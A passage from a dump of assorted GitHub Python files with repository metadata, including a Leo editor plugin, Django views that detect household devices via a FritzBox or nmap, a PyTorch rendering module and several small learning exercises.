break\n\n    if do == 'close':\n        cmd_CloseEditor(key, at_rich=True)\n    elif do == 'open':\n        cmd_OpenEditor(key, at_rich=True)\n#@+node:tbrown.20130813134319.5692: ** @g.command('cke-text-open')\n@g.command('cke-text-open')\ndef cmd_OpenEditor(event=None, at_rich=False):\n    \"\"\"Open the rich text editor, hide the regular editor.\"\"\"\n    c = event.get('c')\n    splitter = c.free_layout.get_top_splitter()\n    rte = splitter.find_child(CKEEditor, '')\n    if rte:\n        if not at_rich:\n            g.es(\"CKE Editor appears to be open already\")\n        return\n    body = splitter.find_child(QtWidgets.QWidget, 'bodyFrame')\n    w = CKEEditor(c=c)\n    w.at_rich = at_rich\n    splitter = body.parent()\n    splitter.replace_widget(body, w)\n#@+node:tbrown.20130813134319.5693: ** @g.command('cke-text-close')\n@g.command('cke-text-close')\ndef cmd_CloseEditor(event=None, at_rich=False):\n    \"\"\"Close the rich text editor, unhide the regular editor.\"\"\"\n    c = event.get('c')\n    splitter = c.free_layout.get_top_splitter()\n    if not splitter:\n        return\n    rte = splitter.find_child(CKEEditor, '')\n    if not rte:\n        if not at_rich:\n            g.es(\"No editor open\")\n        return\n    if at_rich and not rte.at_rich:\n        # don't close manually opened editor\n        return\n    body = splitter.get_provided('_leo_pane:bodyFrame')\n    splitter = rte.parent()\n    rte.at_rich_close = True\n    splitter.replace_widget(rte, body)\n#@+node:tbrown.20130813134319.7233: ** @g.command('cke-text-switch')\n@g.command('cke-text-switch')\ndef cmd_SwitchEditor(event):\n    \"\"\"Switch between regular and rich text editor.\"\"\"\n    c = event.get('c')\n    splitter = c.free_layout.get_top_splitter()\n    rte = splitter.find_child(CKEEditor, '')\n    if not rte:\n        cmd_OpenEditor(event)\n    else:\n        cmd_CloseEditor(event)\n#@+node:tbrown.20130813134319.7231: ** @g.command('cke-text-toggle-autosave')\n@g.command('cke-text-toggle-autosave')\ndef cmd_ToggleAutosave(event):\n    \"\"\"\n    Toggle autosaving of changes when you leave a node.\n\n    Be careful not to convert plain text (e.g. source code) to rich\n    text unintentionally.  As long as you make no edits, the original\n    text will not be changed.\n    \"\"\"\n    c = event.get('c')\n    c._ckeeditor_autosave = not c._ckeeditor_autosave\n    g.es(\"Rich text autosave \" +\n         (\"ENABLED\" if c._ckeeditor_autosave else \"disabled\"))\n#@-others\n#@@language python\n#@@tabwidth -4\n#@-leo\n","repo_name":"leo-editor/leo-editor","sub_path":"leo/plugins/richtext.py","file_name":"richtext.py","file_ext":"py","file_size_in_byte":12844,"program_lang":"python","lang":"en","doc_type":"code","stars":1414,"dataset":"github-code","pt":"35"}
{"seq_id":"25685793948","text":"from django.urls import path\r\nfrom .views import (\r\n    UserListAndCreate,\r\n    UserDelete,\r\n    UserUpdate,\r\n    ArticleList,\r\n    ArticleCreate,\r\n    ArticleUpdate,\r\n    ArticleDelete,\r\n    # RevokeToken\r\n)\r\n\r\napp_name = 'api'\r\nurlpatterns = [\r\n    path('user-list', UserListAndCreate.as_view(), name='user_list'),\r\n    path('user-update/<int:pk>', UserUpdate.as_view(), name='user_update'),\r\n    path('user-delete/<int:pk>', UserDelete.as_view(), name='user_delete'),\r\n    path('article-list', ArticleList.as_view(), name='article_list'),\r\n    path('article-create', ArticleCreate.as_view(), name='article_create'),\r\n    path('article-update/<int:pk>', ArticleUpdate.as_view(), name='article_update'),\r\n    path('article-delete/<int:pk>', ArticleDelete.as_view(), name='article_delete'),\r\n    # path('revoke-token', RevokeToken.as_view(), name='revoke_token')\r\n]\r\n","repo_name":"mazLearning/django-rest","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39203700341","text":"import torch\nimport torch.utils.data as data\nimport numpy as np\nimport cv2\nfrom data.data_augment import preproc\nfrom data.config import cfg_mnet\ncfg = cfg_mnet\n\nclass ufddface(data.Dataset):\n    def __init__(self,txt_path):\n        self.imgpath = []\n        self.target = []\n        f = open(txt_path,'r')\n        lines = f.readlines()\n        lines_len = len(lines)\n        idx = 0\n        while idx < lines_len:\n            img_path = str(txt_path.replace('UFDD_val_bbx_gt_woDistractor.txt','images/') + lines[idx])\n            img_path = img_path.strip('\\n')\n            self.imgpath.append(img_path)\n            idx += 1\n            tmp_target = []\n            for j in range(int(lines[idx])):\n                line = lines[idx+j+1].split(' ')\n                line_float = [float(x) for x in line[:4]]\n                line_float[2] = line_float[0] + line_float[2]\n                line_float[3] = line_float[1] + line_float[3]\n                line_float.append(1)\n                tmp_target.append(line_float)\n            idx += int(lines[idx])+1\n            self.target.append(tmp_target)\n\n    def __len__(self):\n        return len(self.imgpath)\n\n    def __getitem__(self, index):\n        img = cv2.imread(self.imgpath[index])\n\n        # print(img.shape)\n        annotations = np.zeros((0, 5))\n        # print(self.target[index])\n        for idx, bbox in enumerate(self.target[index]):\n            annotation = np.zeros((1, 5))\n            annotation[0, 0] = bbox[0]\n            annotation[0, 1] = bbox[1]\n            annotation[0, 2] = bbox[2]\n            annotation[0, 3] = bbox[3]\n            annotation[0, 4] = bbox[4]\n\n            annotations = np.append(annotations, annotation, axis=0)\n\n        target = np.array(annotations)\n        # print(target)\n        processor = preproc(cfg['image_size'], (104, 117, 123))\n        img, target = processor(img,target)\n        # print(img.shape)\n\n        return torch.from_numpy(img), target\n\n\ndef detection_collate(batch):\n    \"\"\"Custom collate fn for dealing with batches of images that have a different\n    number of associated object annotations (bounding boxes).\n\n    Arguments:\n        batch: (tuple) A tuple of tensor images and lists of annotations\n\n    Return:\n        A tuple containing:\n            1) (tensor) batch of images stacked on their 0 dim\n            2) (list of tensors) annotations for a given image are stacked on 0 dim\n    \"\"\"\n    targets = []\n    imgs = []\n    for _, sample in enumerate(batch):\n        for _, tup in enumerate(sample):\n            if torch.is_tensor(tup):\n                imgs.append(tup)\n            elif isinstance(tup, type(np.empty(0))):\n                annos = torch.from_numpy(tup).float()\n                targets.append(annos)\n\n    return (torch.stack(imgs, 0), targets)\n\n#\n# import torch.utils.data as data\n#\n# img = cv2.imread('UFDD/images/illumination/illumination_00337.jpg')\n# print(img.shape)\n#\n# dataset = ufddface('UFDD/UFDD_val_bbx_gt_woDistractor.txt')\n# batch_iterator = iter(data.DataLoader(dataset, 2, shuffle=True, num_workers=0, collate_fn=detection_collate))\n# images, targets = next(batch_iterator)\n# print(images.shape,targets.shape)\n#\n#\n#\n","repo_name":"xderui/RetinaFace","sub_path":"data/ufdd_face.py","file_name":"ufdd_face.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28677794900","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 2022/6/25 15:53\r\n# @Author : HongShaoRou\r\n# @Site : \r\n# @File : demo_example.py\r\n# @Software: PyCharm\r\n\r\n# 列出指定目录下的所有.py文件\r\n\r\nimport os\r\n\r\npath = os.getcwd()\r\nlst = os.listdir(path)\r\nfor filename in lst:\r\n    if filename.endswith('.py'):\r\n        print(filename)\r\n\r\n# 递归获取指定目录下所有.py文件\r\nprint('===================================')\r\nlst_files = os.walk(path)\r\nfor dirpath, dirname, filename in lst_files:\r\n    # print(dirpath)\r\n    # print(dirname)\r\n    # print(filename)\r\n    # print('--------------------------------')\r\n    for dir in dirname:\r\n        print(os.path.join(dirpath, dir))\r\n    print('-----------------------------------')\r\n    for file in filename:\r\n        print(os.path.join(dirpath, file))\r\n    print('------------------------------------')\r\n\r\n\r\n","repo_name":"astonisingHSR/LearnPython","sub_path":"LearnPython/chapter17_directory_operate/demo_example.py","file_name":"demo_example.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"73659469220","text":"# 72411 메뉴 리뉴얼\nfrom itertools import combinations\n\ndef solution(orders, course):\n    answer = []\n    \n    for num in course:\n        combi = []\n        for order in orders:\n            tmp = list(combinations(order, num))\n            tmp_list = []\n            for t in tmp:\n                t = list(t)\n                t.sort()\n                tmp_list.append(t)\n            combi.extend(tmp_list)\n\n        maximum = 2\n        max_order = []\n        for c in combi:\n            if c in max_order:\n                continue\n            cnt = combi.count(c)\n            if cnt > maximum:\n                max_order = [c]\n                maximum = cnt\n            elif cnt == maximum:\n                max_order.append(c)\n        \n        answer.extend(max_order)\n    \n    result = []\n    for ans in answer:\n        str = \"\"\n        for a in ans:\n            str += a\n        result.append(str)\n\n    return sorted(result)\n\norders = [\"XYZ\", \"XWY\", \"WXA\"]\ncourse = [2,3,4]\nprint(solution(orders, course))\n","repo_name":"anuu0916/algorithm","sub_path":"programmers/72411.py","file_name":"72411.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12882811580","text":"#! /usr/bin/env python\n#Finding Prime Number\n\n\ndef prime_finder(value):\n    value_list = list(range(2,value+1))\n    value_list_cp = value_list.copy()\n    \n    for item in value_list:\n        flag = True\n        for item_cp in value_list_cp:\n            if item != item_cp and item_cp % item == 0:\n                value_list_cp.remove(item_cp)\n                flag = False\n        if flag:\n            break\n    return value_list_cp\n            \n\n\nif __name__ == \"__main__\":\n    value = int(input('Enter Value: '))\n    if value >0:\n        result = prime_finder(value)\n        print(result)\n    else:\n        print('The Integer Must be Positive integer')\n","repo_name":"Profsoul/MyProjects","sub_path":"prime_finder.py","file_name":"prime_finder.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31476524698","text":"import configparser\nimport json\nimport netifaces\nimport os\nimport subprocess\n\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseBadRequest\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom django.views.decorators.csrf import csrf_exempt\nfrom fritzhome.fritz import FritzBox\nfrom netaddr import IPAddress\n\nfrom core.models import Anonymous, LastCheck, Pad, Presence\n\n\ndef index(request):\n    context = {}\n\n    with open(os.path.join(settings.BASE_DIR, \"devices.json\")) as f:\n        devices = json.load(f)\n    context[\"names\"] = [list(person.keys())[0] for person in devices[\"People\"]]\n\n    pad = Pad.objects.get_or_create(id=0)[0]\n    context[\"pad_content\"] = pad.content\n    context[\"pad_version\"] = pad.version\n\n    return render(request, \"index.html\", context)\n\n\n@csrf_exempt\ndef submit_pad(request):\n    version = request.POST.get(\"version\")\n    content = request.POST.get(\"content\")\n    if not version or content is None:\n        return HttpResponseBadRequest(\"No version or content supplied\")\n    version = int(version)\n\n    with transaction.atomic():\n        pad = Pad.objects.get(id=0)\n        current_version = pad.version\n        if current_version == version:\n            version_valid = True\n            pad.version += 1\n            pad.content = content\n            pad.save()\n        else:\n            version_valid = False\n\n    if not version_valid:\n        return HttpResponseBadRequest(\n            \"The content was changed in the meantime, please reload\"\n        )\n    return HttpResponse(\"Updated Pad\")\n\n\ndef get_presence(request, force_update=False):\n    with open(os.path.join(settings.BASE_DIR, \"devices.json\")) as f:\n        devices = json.load(f)\n    people = devices[\"People\"]\n    searched_macs = []\n    ignored_macs = []\n    for person in people:\n        name = list(person.keys())[0]\n        macs = person[name]\n        if not isinstance(macs, list):\n            macs = [macs]\n            person[name] = macs\n        person[name] = [mac.upper() for mac in person[name]]\n        for mac in person[name]:\n            searched_macs.append(mac)\n            if not Presence.objects.filter(mac=mac).exists():\n                # a mac was added, force an update\n                force_update = True\n    for mac in devices[\"Ignored\"]:\n        ignored_macs.append(mac.upper())\n\n    last_check, created = LastCheck.objects.get_or_create(id=0)\n    if created:\n        last_check.save()\n\n    if (\n        (timezone.now() - last_check.performed).seconds > 60 * 5\n        or force_update\n        or created\n    ):\n        present_macs, anonymous_count = search_devices(searched_macs, ignored_macs)\n\n        for mac in searched_macs:\n            presence = Presence.objects.get_or_create(mac=mac)[0]\n            presence.present = mac in present_macs\n            presence.save()\n\n        anonymous = Anonymous.objects.get_or_create(id=0)[0]\n        anonymous.count = anonymous_count\n        anonymous.save()\n        last_check.save()\n    else:\n        present_macs = []\n        for mac in searched_macs:\n            if Presence.objects.get(mac=mac).present:\n                present_macs.append(mac)\n        anonymous_count = Anonymous.objects.get(id=0).count\n\n    presences = []\n    for person in people:\n        name = list(person.keys())[0]\n        present = False\n        for mac in person[name]:\n            if mac in present_macs:\n                present = True\n        presences.append((name, present))\n    if anonymous_count > 0:\n        presences.append((f\"+{anonymous_count}\", True))\n    else:\n        presences.append((f\"+{anonymous_count}\", False))\n\n    return JsonResponse(presences, safe=False)\n\n\ndef update_presence(request):\n    return get_presence(request, force_update=True)\n\n\ndef search_devices(searched_macs, ignored_macs):\n    try:\n        return fritzbox_query(searched_macs, ignored_macs)\n    except FritzException:\n        return nmap_query(searched_macs, ignored_macs)\n\n\nclass FritzException(Exception):\n    pass\n\n\ndef fritzbox_query(searched_macs, ignored_macs):\n    config = configparser.ConfigParser()\n    config.read(os.path.join(settings.BASE_DIR, \"config.ini\"))\n    ip = config[\"FritzBox\"][\"ip\"]\n    password = config[\"FritzBox\"][\"password\"]\n    if not ip or not password:\n        raise FritzException(\"ip or password not specified\")\n\n    box = FritzBox(ip, None, password)\n    try:\n        box.login()\n    except Exception:\n        raise FritzException(\"Login failed\")\n\n    r = box.session.get(\n        box.base_url + \"/net/network_user_devices.lua\", params={\"sid\": box.sid}\n    )\n\n    try:\n        table = BeautifulSoup(r.text, \"lxml\").find(id=\"uiLanActive\")\n    except AttributeError:\n        raise FritzException(\"Could not extract active devices.\")\n\n    rows = table.find_all(\"tr\")\n\n    present_macs = []\n    anonymous_count = 0\n\n    for row in rows:\n        columns = row.find_all(\"td\")\n        if len(columns) >= 4:\n            mac = columns[3].text.upper()\n            if mac in searched_macs:\n                present_macs.append(mac)\n            elif mac not in ignored_macs:\n                anonymous_count += 1\n\n    return present_macs, anonymous_count\n\n\ndef nmap_query(searched_macs, ignored_macs):\n    active_devices = []\n    # look through all available interfaces\n    for interface in netifaces.interfaces():\n        if (\n            interface == \"lo\"  # loopback\n            or interface.startswith(\"virbr\")  # libvirt\n            or interface.startswith(\"lxcbr\")  # lxc\n            or interface.startswith(\"docker\")  # docker\n            or interface.startswith(\"br-\")  # bridges\n            or interface.startswith(\"veth\")  # virtual devices\n        ):\n            continue\n        # get the first set of IPv4 addresses (there will probably be only one)\n        try:\n            addresses = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]\n        except KeyError:\n            # the interface has no IPv4 addresses\n            continue\n        # check if the interface received an address (= is connected)\n        if \"addr\" in addresses:\n            ip = addresses[\"addr\"]\n            netmask = addresses[\"netmask\"]\n            suffix = IPAddress(netmask).netmask_bits()\n            output = subprocess.check_output(\n                [\"/usr/bin/nmap\", \"--privileged\", \"-sn\", f\"{ip}/{suffix}\"],\n                universal_newlines=True,\n            )\n            for line in output.split(\"\\n\"):\n                if line.startswith(\"MAC Address:\"):\n                    mac_address = line.split()[2]\n                    active_devices.append(mac_address.upper())\n\n    present_macs = []\n    anonymous_count = 0\n\n    for mac in active_devices:\n        if mac in searched_macs:\n            present_macs.append(mac)\n        elif mac not in ignored_macs:\n            anonymous_count += 1\n\n    return present_macs, anonymous_count\n","repo_name":"jonathanhacker/flatpad","sub_path":"flatpad/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"35"}
{"seq_id":"36788836228","text":"import json\n\nfrom xml.etree import ElementTree\n\ndef create_xml_tree(root, data):\n    for k, v in data.items():\n        if type(v) != dict:\n            ElementTree.SubElement(root, k).text = str(v)\n        else:\n            create_xml_tree(ElementTree.SubElement(root, k), v)\n\n    return root\n\n\nwith open('test.json', 'r') as json_file:\n    data = json.loads(json_file.read())\n    print(data)\n\n    root = ElementTree.Element('widgets')\n    create_xml_tree(root, data)\n    tree = ElementTree.ElementTree(root)\n    tree.write('new.xml')","repo_name":"VachaganGrigoryan/aca-python","sub_path":"saturday-afternoon-main/27_02_21/json_xml_converter.py","file_name":"json_xml_converter.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35385089199","text":"''' a function named list_to_tuples that receives a two dimensional list of strings as parameter and returns a tuple of tuples where the content of each inner list is reversed as shown below:\nFor example if the two dimensional list received by the function is\n'''\n\ndef list_to_tuples(MY_LIST):\n    return_tuple = ()\n    print(len(MY_LIST))\n    return_tuple[0] = ('abs')\n    for row in MY_LIST:\n        return_tuple = return_tuple, tuple(reversed(row))\n        print(return_tuple)\n\n\n\n\n\n\n\n\nprint(list_to_tuples([['mean', 'really', 'is', 'jean'],['world', 'my', 'rocks', 'python']]))","repo_name":"neM0s/books","sub_path":"reverse_list.py","file_name":"reverse_list.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21603778046","text":"from gearbox.migrations import Migration\n\nclass AddTableTPServiceMessage(Migration):\n\n    database = \"ordercanal\"\n\n    def up(self):\n        t = self.table('TPServiceMessage', area=\"Sta_Data_64\", label=\"Third Party Message\", table_trigger=[{'crc': '?', 'procedure': 'triggers/rd-tpservicemessage.p', 'override_proc': True, 'event': 'REPLICATION-DELETE'}, {'crc': '?', 'procedure': 'triggers/rw-tpservicemessage.p', 'override_proc': True, 'event': 'REPLICATION-WRITE'}], dump_name=\"tpservicemessage\", desc=\"Third Party Message\")\n        t.column('MsSeq', 'integer', mandatory=True, format=\">>>>>>>9\", initial=\"0\", max_width=4, label=\"MsSeq\", column_label=\"MsSeq\", position=2, order=20, help=\"Sequence for a Subscription\")\n        t.column('ServSeq', 'integer', mandatory=True, format=\">>>>>>>9\", initial=\"0\", max_width=4, label=\"ServSeq\", column_label=\"ServSeq\", position=3, order=30, help=\"Service Sequence Number\")\n        t.column('MessageSeq', 'integer', mandatory=True, format=\">>>>>>>9\", initial=\"0\", max_width=4, label=\"MessageSeq\", column_label=\"MessageSeq\", position=4, order=40, help=\"Message Sequence Number\")\n        t.column('Source', 'character', format=\"x(8)\", initial=\"\", max_width=16, label=\"Message Source\", column_label=\"Source\", position=6, order=60, description=\"Messsage source (TMS/Masmovil)\")\n        t.column('MessageStatus', 'character', format=\"x(15)\", initial=\"\", max_width=30, label=\"Message Status\", column_label=\"MessageStatus\", position=7, order=70)\n        t.column('CreatedTS', 'decimal', format=\"99999999.99999\", decimals=5, initial=\"0\", max_width=20, label=\"CreatedTS\", column_label=\"CreatedTS\", position=8, order=80)\n        t.column('UpdateTS', 'decimal', format=\"99999999.99999\", decimals=5, initial=\"0\", max_width=20, label=\"UpdateTS\", column_label=\"UpdateTS\", position=9, order=90)\n        t.index('MsSeq', [['MsSeq'], ['ServSeq'], ['MessageSeq']], area=\"Dyn_Index_1\", primary=True, unique=True)\n        t.index('CreatedTS', [['CreatedTS']], area=\"Dyn_Index_1\")\n        t.index('MessageSeq', [['MessageSeq']], area=\"Dyn_Index_1\", unique=True)\n        t.index('MessageStatus', [['MessageStatus'], ['Source']], area=\"Dyn_Index_1\")\n        t.index('UpdateTS', [['UpdateTS']], area=\"Dyn_Index_1\")\n\n    def down(self):\n        self.drop_table('TPServiceMessage')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0391_add_table_ordercanal_tpservicemessage.py","file_name":"0391_add_table_ordercanal_tpservicemessage.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3672614757","text":"from typing import Any\nfrom torch import nn, autograd\nimport torch\nimport qsdvr\n\n\nclass QuadricGridTorch(nn.Module):\n\n    def __init__(self, reso: int = 128):\n        super().__init__()\n        self.reso = reso\n        self.xLayer = nn.Parameter(\n            torch.ones(reso, dtype=torch.float32, device=\"cuda\"))\n        self.yLayer = nn.Parameter(\n            torch.ones(reso, dtype=torch.float32, device=\"cuda\"))\n        self.zLayer = nn.Parameter(\n            torch.ones(reso, dtype=torch.float32, device=\"cuda\"))\n        self.offset = torch.zeros(4, dtype=torch.float32, device=\"cuda\")\n        self.init_as_sphere()\n        self.offset = nn.Parameter(self.offset)\n\n    def init_as_sphere(self, radius=1.0):\n        radius *= self.reso\n        c = 1 - self.reso\n        self.offset[0] = 2 * c\n        self.offset[1] = 2 * c\n        self.offset[2] = 2 * c\n        self.offset[3] = 3 * c * c - radius * radius\n\n    def forward(\n        self,\n        renderPointList: torch.Tensor,\n        renderIndexList: torch.Tensor,\n        sdfPointList: torch.Tensor,\n        sdfIndexList: torch.Tensor,\n    ):\n        reso = self.reso\n        sdfGrid = torch.empty((reso, reso, reso, 7), device=\"cuda\")\n        xLayer_a3 = torch.empty(reso, device=\"cuda\")\n        yLayer_a4 = torch.empty(reso, device=\"cuda\")\n        zLayer_a5 = torch.empty(reso, device=\"cuda\")\n        xLayer_a6 = torch.empty(reso, device=\"cuda\")\n        yLayer_a6 = torch.empty(reso, device=\"cuda\")\n        zLayer_a6 = torch.empty(reso, device=\"cuda\")\n        xLayer_a3[0] = self.offset[0]\n        yLayer_a4[0] = self.offset[1]\n        zLayer_a5[0] = self.offset[2]\n        xLayer_a6[0] = 0\n        yLayer_a6[0] = 0\n        zLayer_a6[0] = 0\n        for i in range(1, reso):\n            xLayer_a3[i] = 2 * self.xLayer[\n                i - 1] + 2 * self.xLayer[i] + xLayer_a3[i - 1]\n            yLayer_a4[i] = 2 * self.yLayer[\n                i - 1] + 2 * self.yLayer[i] + yLayer_a4[i - 1]\n            zLayer_a5[i] = 2 * self.zLayer[\n                i - 1] + 2 * self.zLayer[i] + zLayer_a5[i - 1]\n        for i in range(1, reso):\n            xLayer_a6[i] = 3 * self.xLayer[i - 1] + self.xLayer[\n                i] + 2 * xLayer_a3[i - 1] + xLayer_a6[i - 1]\n            yLayer_a6[i] = 3 * self.yLayer[i - 1] + self.yLayer[\n                i] + 2 * yLayer_a4[i - 1] + yLayer_a6[i - 1]\n            zLayer_a6[i] = 3 * self.zLayer[i - 1] + self.zLayer[\n                i] + 2 * zLayer_a5[i - 1] + zLayer_a6[i - 1]\n        sdfGrid[..., 6] = self.offset[3]\n        for i in range(0, reso):\n            sdfGrid[:, :, i, 0] = self.xLayer[i]\n            sdfGrid[:, i, :, 1] = self.yLayer[i]\n            sdfGrid[i, :, :, 2] = self.zLayer[i]\n            sdfGrid[:, :, i, 3] = xLayer_a3[i]\n            sdfGrid[:, i, :, 4] = yLayer_a4[i]\n            sdfGrid[i, :, :, 5] = zLayer_a5[i]\n            sdfGrid[:, :, i, 6] += xLayer_a6[i]\n            sdfGrid[:, i, :, 6] += yLayer_a6[i]\n            sdfGrid[i, :, :, 6] += zLayer_a6[i]\n        self.sdfGrid = sdfGrid.view(-1)\n        index = sdfIndexList * 7\n        a0 = self.sdfGrid[index] * sdfPointList[:, 0]\n        a1 = self.sdfGrid[index + 1] * sdfPointList[:, 1]\n        a2 = self.sdfGrid[index + 2] * sdfPointList[:, 2]\n        a3 = self.sdfGrid[index + 3]\n        a4 = self.sdfGrid[index + 4]\n        a5 = self.sdfGrid[index + 5]\n        a6 = self.sdfGrid[index + 6]\n        sdfList = ((a0 + a3) * sdfPointList[:, 0] +\n                   (a1 + a4) * sdfPointList[:, 1] +\n                   (a2 + a5) * sdfPointList[:, 2] +\n                   a6) / torch.sqrt((2 * a0 + a3) * (2 * a0 + a3) +\n                                    (2 * a1 + a4) * (2 * a1 + a4) +\n                                    (2 * a2 + a5) * (2 * a2 + a5)) / reso\n        index = renderIndexList * 7\n        a = torch.cat([\n            2 * self.sdfGrid[index] * renderPointList[:, 0] +\n            self.sdfGrid[index + 3],\n            2 * self.sdfGrid[index + 1] * renderPointList[:, 1] +\n            self.sdfGrid[index + 4],\n            2 * self.sdfGrid[index + 2] * renderPointList[:, 2] +\n            self.sdfGrid[index + 5]\n        ]).reshape(3, -1).transpose(0, 1)\n        normalList = torch.nn.functional.normalize(a)\n        return sdfList, normalList\n\n\nclass RenderGridTorch(nn.Module):\n\n    def __init__(self, reso: int = 128, logisticCoef: float = 5):\n        super().__init__()\n        self.quadricGrid = QuadricGridTorch(reso)\n        self.reso = reso\n        self.renderData = nn.Parameter(\n            torch.full(((reso + 1) * (reso + 1) * (reso + 1), 32),\n                       0.5,\n                       dtype=torch.float32,\n                       device=\"cuda\"))\n        self.logisticCoef = logisticCoef\n\n    def forward(self, input):\n        renderIndexList = input[\"renderIndexList\"].long()\n        sdfIndexList = input[\"sdfIndexList\"].long()\n        renderPointList = input[\"renderPointList\"]\n        viewList = input[\"viewDirList\"]\n        rayList = input[\"rayList\"]\n        self.sdfList, self.normalList = self.quadricGrid.forward(\n            renderPointList, renderIndexList, input[\"sdfPointList\"],\n            sdfIndexList)\n        reso = self.reso\n        logisticCoef = self.logisticCoef\n        i000 = renderIndexList\n        i010 = i000 + reso\n        i100 = i000 + reso * reso\n        i110 = i100 + reso\n        dataGrid = self.renderData\n        a00 = self.Interpolation1D(dataGrid[i000, :], dataGrid[i000 + 1, :],\n                                   renderPointList[:, 0])\n        a01 = self.Interpolation1D(dataGrid[i010, :], dataGrid[i010 + 1, :],\n                                   renderPointList[:, 0])\n        a0 = self.Interpolation1D(a00, a01, renderPointList[:, 1])\n        a10 = self.Interpolation1D(dataGrid[i100, :], dataGrid[i100 + 1, :],\n                                   renderPointList[:, 0])\n        a11 = self.Interpolation1D(dataGrid[i110, :], dataGrid[i110 + 1, :],\n                                   renderPointList[:, 0])\n        a1 = self.Interpolation1D(a10, a11, renderPointList[:, 1])\n        self.dataList = self.Interpolation1D(a0, a1, renderPointList[:, 2])\n        ao = self.dataList[:, 31:32]\n        diffuse = self.dataList[:, 27:30]\n        metallic = self.dataList[:, 30:31]\n        specular = self.dataList[:, :27].reshape((-1, 9, 3))\n        vdotn = (viewList * self.normalList).sum(dim=1).reshape((-1, 1))\n        reflect = viewList - self.normalList * (2.0 * vdotn)\n        specularL = self.GetSH3Irradiance(reflect, specular)\n        color = diffuse * (1 - metallic) + specularL * metallic\n        self.rgbList = (color * ao)\n        self.image = torch.empty((rayList.size(0), 3), device=\"cuda\")\n\n        for info in rayList:\n            exp_SDF_i = torch.exp(-logisticCoef * self.sdfList[info[1]])\n            T = torch.FloatTensor([1]).cuda()[0]\n            color = torch.Tensor([0.0, 0.0, 0.0]).cuda()\n            for i in range(0, info[2]):\n                exp_SDF_i_1 = torch.exp(-logisticCoef *\n                                        self.sdfList[info[1] + i + 1])\n                alpha = torch.clamp(\n                    (exp_SDF_i_1 - exp_SDF_i) / (1.0 + exp_SDF_i_1), 0.0, 10.0)\n                color = color + self.rgbList[info[3] + i] * alpha * T\n                exp_SDF_i = exp_SDF_i_1\n                T = T * (1 - alpha)\n            self.image[0] = color\n        return self.image\n\n    def Interpolation1D(self, a, b, c):\n        c = c.reshape([-1, 1])\n        return (1 - c) * a + b * c\n\n    def GetSH3Irradiance(self, v, coef):\n        g_SHFactor = torch.Tensor([\n            0.2820947917, 0.4886025119, 0.4886025119, 0.4886025119,\n            1.0925484305, 1.0925484305, 0.3153915652, 1.0925484305,\n            0.5462742152\n        ])\n        x_4 = v[:, 0:1] * v[:, 2:3]\n        zz = v[:, 2:3] * v[:, 2:3]\n        xx = v[:, 0:1] * v[:, 0:1]\n        x_5 = v[:, 0:1] * v[:, 1:2]\n        x_6 = 2.0 * v[:, 1:2] * v[:, 1:2] - zz - xx\n        x_7 = v[:, 1:2] * v[:, 2:3]\n        x_8 = zz - xx\n        return g_SHFactor[0] * coef[:, 0, :] + g_SHFactor[\n            1] * coef[:, 1, :] * v[:, 0:1] + g_SHFactor[\n                2] * coef[:, 2, :] * v[:, 1:2] + g_SHFactor[\n                    3] * coef[:, 3, :] * v[:, 2:3] + g_SHFactor[\n                        4] * coef[:, 4, :] * x_4 + g_SHFactor[\n                            5] * coef[:, 5, :] * x_5 + g_SHFactor[\n                                6] * coef[:, 6, :] * x_6 + g_SHFactor[\n                                    7] * coef[:, 7, :] * x_7 + g_SHFactor[\n                                        8] * coef[:, 8, :] * x_8\n","repo_name":"595744412/qsdvr","sub_path":"models/render_torch.py","file_name":"render_torch.py","file_ext":"py","file_size_in_byte":8524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14120219558","text":"\"\"\"\nOne of Google excercises:\n\nImagine you place a knight chess piece on a phone dial pad.\nThis chess piece moves in an uppercase \"L\" shape.\nTwo steps horizontally followed by one vertically\nor one step horizontally then two vertically:\n\n|->1| 2 | 3 |    | 1 | 2 | 3 |    | 1 | 2 | 3 |    | 1 | 2 | 3 |\n| 4 | 5 | 6 | => | 4 | 5 |->6| => | 4 | 5 | 6 | => |->4| 5 | 6 | => ...\n| 7 | 8 | 9 |    | 7 | 8 | 9 |    | 7 | 8 | 9 |    | 7 | 8 | 9 |\n|   | 0 |   |    |   | 0 |   |    |   |->0|   |    |   | 0 |   |\n\n      1       =>       6       =>       0       =>       4       => ...\n\nSuppose you dial keys on the keypad using only hops a knight can make.\nEvery time the knight lands on a key, we dial that key and make another hop.\nThe starting position counts as being dialed.\n\nHow many distinct numbers can you dial in N hops from a particular\nstarting position?\n\"\"\"\n\nimport time\n\n\ntry:\n    xrange\nexcept NameError:\n    xrange = range\n\n\n# ============ First variant ===========\n# Recursion, calculation and momoization\n\nmatrix_for_recursion = {\n    '1379': ((2, 4), 2),\n    '28': ((1, 1), 2),\n    '46': ((1, 1, 0), 3),\n    '0': 